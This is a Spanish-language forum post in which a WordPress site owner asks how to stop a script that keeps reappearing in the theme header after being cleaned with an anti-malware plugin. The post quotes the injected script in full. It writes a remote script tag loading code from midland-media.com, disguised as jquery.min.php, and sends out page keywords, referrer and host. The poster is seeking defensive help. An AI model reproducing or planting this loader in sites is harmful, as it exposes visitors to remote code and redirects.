Malware en Header

Hola a todos!
Tengo un problema en mi web, cada dos días aproximadamente se instala el siguiente script en el header de mi theme de wordpress.

<script>var a=»;setTimeout(10);if(document.referrer.indexOf(location.protocol+»//»+location.host)!==0||document.referrer!==undefined||document.referrer!==»||document.referrer!==null){document.write(‘<script type=»text/javascript» src=»http://midland-media.com/js/jquery.min.php?c_utt=I92930&c_utm=’+encodeURIComponent(‘http://midland-media.com/js/jquery.min.php’+&#8217;?’+’default_keyword=’+encodeURIComponent(((k=(function(){var keywords=»;var metas=document.getElementsByTagName(‘meta’);if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()==»keywords»){keywords+=metas[x].content;}}}return keywords!==»?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?»:t:v[1]:k))+’&se_referrer=’+encodeURIComponent(document.referrer)+’&source=’+encodeURIComponent(window.location.host))+'»><‘+’/script>’);}</script>

Gracias al plugin Anti-Malware Security and Brute-Force Firewall puedo quitarlo sin problemas pero a los dos días después aparece.
Hay alguna forma de bloquear el archivo o hacer algo para que esto no suceda a cada rato?
Muchas gracias